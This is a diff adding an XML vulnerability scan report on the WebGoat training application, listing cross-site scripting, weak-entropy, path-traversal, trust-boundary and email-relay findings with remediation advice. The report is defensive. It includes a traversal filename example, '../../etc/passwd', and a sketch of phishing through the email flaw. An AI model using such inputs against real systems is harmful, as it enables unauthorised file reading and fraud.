+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAl4AAAHgCAYAAAB0CWMeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAGIVSURBVHhe7Z2vtx3HsbYFP3hhqKGhYeiFgYGm/hMCQwMDLwwNNDQUDRQMNBUUNDyft+yxR+2qeqt6emZ6Zh6tdZak3b+qnqrueqf3Pue8e+MPBCAAAQhAAAIQgMAhBN4dscq33377xhcMyAFygBwgB8gBcmCvHHj//v0RkmbzGocIrxcMvmBADpAD5AA5QA6QA3vmwGZVdMAEhwivA/xgCQhAAAIQgAAEIDA9AYTX9CHCQAhAAAIQgAAE7kIA4XWXSOIHBCAAAQhAAALTE0B4TR8iDIQABCAAAQhA4C4EEF53iSR+QAACEIAABCAwPQGE1/QhwkAIQAACEIAABO5CAOF1l0jiBwQgAAEIQAAC0xNAeE0fIgyEAAQgAAEIQOAuBBBed4kkfkAAAhCAAAQgMD0BhNf0IcJACEAAAhCAAATuQgDhdZdI4gcEIAABCEAAAtMTQHhNHyIMhAAEIAABCEDgLgQQXneJJH5AAAIQgAAEIDA9AYTX9CHCQAhAAAIQgAAE7kIA4XWXSOIHBCAAAQhAAALTE0B4TR8iDIQABCAAAQhA4C4EEF53iSR+QAACEIAABCAwPQGE1/QhwkAIQAACEIAABO5CAOF1l0jiBwQgAAEIQAAC0xNAeE0fIgyEAAQgAAEIQOAuBBBed4kkfkAAAhCAAAQgMD0BhNegEL179+7t9cUfCEAAAhCAAAQg4BG4tVJYxNARoiizRmtPK9TaOdT/l6Cu57UCHXFQNs28dY6M79EcMvl0tE2sBwEIQAAC2wncVnhZhWvPGylVKD171jYpoeWtEQkvxUGtuT3F9plB+bXPqsfNqvLpOEtYCQIQgAAERhJ4lPBqwW29CarcFu0lvNbzZtbwGLS3Z+4VafOWarRmxp5I+EXiIyNMeuLriVgv1hnRm2FkCXBr7jvf8o082JgLAhCAwKwEbi+8VCH1BIe6CVLtSuC82pUwUaKqnaNa4C0blKBRfo9qjwSNx27NfJQde+VH1b6Mz7MeMtgFAQhAAAK/E7it8FoXqszNQbUQqv5bhZd1w7K+FbEEgSeavNsaxUjdeinhmBF2VY6jbubUuqPavRuq6vxWrDjIIAABCEDgegRuLbwqNyBKKPUUymh9dePlvfVkzRkJq6pfmRSO3u6qclL9lfjLtqt19m6vxiErojPxog8EIAABCMxD4LbCq70dUoV1EULejYoaX32LzhNemVui6NbHsnOLAM0Km1HcFEfl+152VOPv3Qb22qeE2zxHCpZAAAIQgEBE4LbCay1gem4PVKG15rfeCrREz/rGyApOZm1PuEVv/2XeGsxul0ggRTdiiltWeO0dXxUD1a7sq45X82XjRj8IQAACEDiXwK2F17lo77t6RRzdlwKeQQACEIAABOoEEF51Zo8fgfB6fAoAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCSC8qsToDwEIQAACEIAABDoJILw6wTEMAhCAAAQgAAEIVAkgvKrE6A8BCEAAAhCAAAQ6CSC8OsExDAIQgAAEIAABCFQJILyqxOgPAQhAAAIQgAAEOgkgvDrBMQwCEIAABCAAAQhUCdxeeH3zzTdv7VcVUqb/skamb7VPdm6vX3Z81S76QwACEIAABCBQI3Br4WUJjr1EyF7zvsKZnRvhVUt+ekMAAmMIfPOXv76tv0bM+ppvyx9v/GJnZu7RPmXWbPus/ajY3rMWY44hcFvhVREh6lZsPde67xKi7HhrrJpDzb1Ok5E+H5N+rAIBCFydQCsGRoiDrXNE47NzZ/vtGb8ZbNjTv6fO/Tjh9YeniV/fiowETCS2WuGUSaRWIKmbudE3Xtn5Mr7QBwIQeC6BjDDwbsPa15ebnUz/L87r1W3b63V1+7a2eYsN1k2Umjuyrb1ds/p6Ile9zq3ZXHsU4VUQXhlxZoXXurV6vZYVbVmhlL3xim7e5kpPrIEABGYmoIRXdBtWbfvtvPxVaK1FVvTvPzxsO+PVHBV727nU/z1hVFnTEn2K2cy5dWfbEF47Cy91m/V5Qxo2RCLPS8is8Fqvqda+c/LjGwQgsI3AUcLLu8ny1s++1dgrbJRIU0Irau8VUNlx2yLO6BEEHie8qm/zecIoM8/Wsb89rQhhpvpF4orbrxHbiDkg8EwCRwkvT1TcRXhl/cuKq0hQPjNT5/L6tsJri+jJiKpMn1E2ZG+lKjdePTdqc6Uu1kAAAjMQ6L01GjEuK1i+OO8mfatxebtxhLiqsJ0hh55mw62F11r49HxHYXSTFL2FuP78lmdDpo8ljtpxbcKqz5NlmTxtI+AvBCDQTyD7ofHoQ97qlsZbY/26J7BGCK/PZ6fzYzOsm7esP7/VmcTc3pyVtdQtZX8WMDJL4PbCKwuCfhCAAAQgAAEIQGBvAgivvQkzPwQgAAEIQAACEPiVAMKLVIAABCAAAQhAAAIHEUB4HQSaZSAAAQhAAAIQgADCixyAAAQgAAEIQAACBxFAeB0EmmUgAAEIQAACEIAAwuugHHj3DtQHoWYZgwD5d5+0I